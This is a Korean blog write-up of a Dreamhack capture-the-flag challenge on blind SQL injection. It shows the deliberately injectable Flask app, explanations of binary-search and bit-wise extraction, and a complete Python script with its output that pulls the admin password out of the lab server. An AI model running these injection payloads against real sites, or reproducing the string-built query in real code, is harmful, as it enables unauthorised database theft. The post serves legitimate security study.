촉촉한초코칩
Dreamhack - blind sql injection advanced 본문
코드
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid를 받아서 실행한 결과를 보여준다.
만약 uid로 입력된 값이 테이블에 있다면, 이미 있다고 나오고 없으면 아무것도 출력되지 않는다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
users 테이블 안에 admin, guest, test가 있다.
공격
1. admin만 넣으면 이미 있다고 나오기 때문에 엉뚱한 id 값을 넣고 union으로 select문을 사용해서 admin의 upw를 출력해야겠다고 생각했다. → 실패ㅎㅎ
' union select upw from users where uid ='admin
2. https://dreamhack.io/lecture/courses/304 강의 보기
Binary Search (이진탐색) : 이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘
- 범위 지정 (0~100 사이의 범위 내에 한 숫자만 정답이라면, 중간 값인 50으로 지정한다.)
- 범위 조절 (정답이 50보다 큰지, 작은지 확인 → 결과에 따라 범위 다시 조정)
예시) substr 함수의 반환값을 비교하여 패스워드를 알아낸다.
비밀번호에 포함될 수 있는 아스키에서 출력 가능한 문자 범위 : 32~126 → 패스워드의 첫번째 바이트가 79(중간값?) 보다 ㅁ큰 값인지 확인함
P가 80이므로 결과가 참으로 나옴
그 다음에는 80~126 범위에서 103(중간값)을 통해서 하나씩 찾아감
select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
Bit 연산
ASCII : 0~127범위의 문자 표현 가능, 7개의 비트를 통해 하나의 문자를 나타냄 → 7개의 비트에 대해 1인지 비교하면 총 7번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있게 됨
예시) substr과 bin을 통해서 7번의 쿼리를 통해 한 바이트를 알아낸다.
1010000 (1 참, 0 거짓) → (10진수) 80 → P
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
적용 https://mnzy.tistory.com/166
1. 패스워드 길이 찾기
문자열 인코딩에 따른 길이를 계산하기 위해서는 char_length 함수(문자열을 bytes 형태로 표현했을 때의 길이 반환) 를 사용한다.
인코딩에 관계없이 전체 문자열을 표현하는 데에 사용되는 바이트 수를 반환하기 때문에 아스키코드로 문자열이 구성되어 있지 않다면 올바르지 않은 값을 반환할 수도 있다.
from requests import get
host = "http://host3.dreamhack.games:17163/"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
결과 -> 13
2. 각 문자 별 비트열 길이 찾기
패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서는 각 문자를 비트열로 표현했을 때의 길이를 알아내야 한다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
결과
character 1's bit length: 7
character 2's bit length: 7
character 3's bit length: 7
character 4's bit length: 24
character 5's bit length: 24
character 6's bit length: 24
character 7's bit length: 24
character 8's bit length: 24
character 9's bit length: 24
character 10's bit length: 24
character 11's bit length: 6
character 12's bit length: 6
character 13's bit length: 7
3. 각 문자 별 비트열 추출
패스워드 별 각 문자에 해당하는 비트열을 추출한다.
아스키코드의 경우 최대 8번, 한글의 경오 최대 24번의 요청으로 추출할 수 있다.
4. 비트열을 문자로 변환
추출한 비트열을 문자로 변환한다.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
전체 코드
from requests import get
host = "http://host3.dreamhack.games:16736/"
password_length = 13
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
character 1's bit length: 7
character 1's bits: 1000100
character 2's bit length: 7
character 2's bits: 1001000
character 3's bit length: 7
character 3's bits: 1111011
character 4's bit length: 24
character 4's bits: 111011001001110110110100
character 5's bit length: 24
character 5's bits: 111010101011001010000011
character 6's bit length: 24
character 6's bits: 111011001001110110110100
character 7's bit length: 24
character 7's bits: 111010111011100110000100
character 8's bit length: 24
character 8's bits: 111010111011000010000000
character 9's bit length: 24
character 9's bits: 111010111011001010001000
character 10's bit length: 24
character 10's bits: 111011011001100010111000
character 11's bit length: 6
character 11's bits: 100001
character 12's bit length: 6
character 12's bits: 111111
character 13's bit length: 7
character 13's bits: 1111101
DH{이것이비밀번호!?}
'Study > Web Hacking' 카테고리의 다른 글
Webhaking.kr old-18 (1) | 2024.11.08 |
---|---|
Dreamhack - Apache htaccess (0) | 2024.10.05 |
wargame.kr md5 password (0) | 2024.09.23 |
wargame.kr type confusion (0) | 2024.09.13 |
wargamme.kr - tmitter (1) | 2024.09.13 |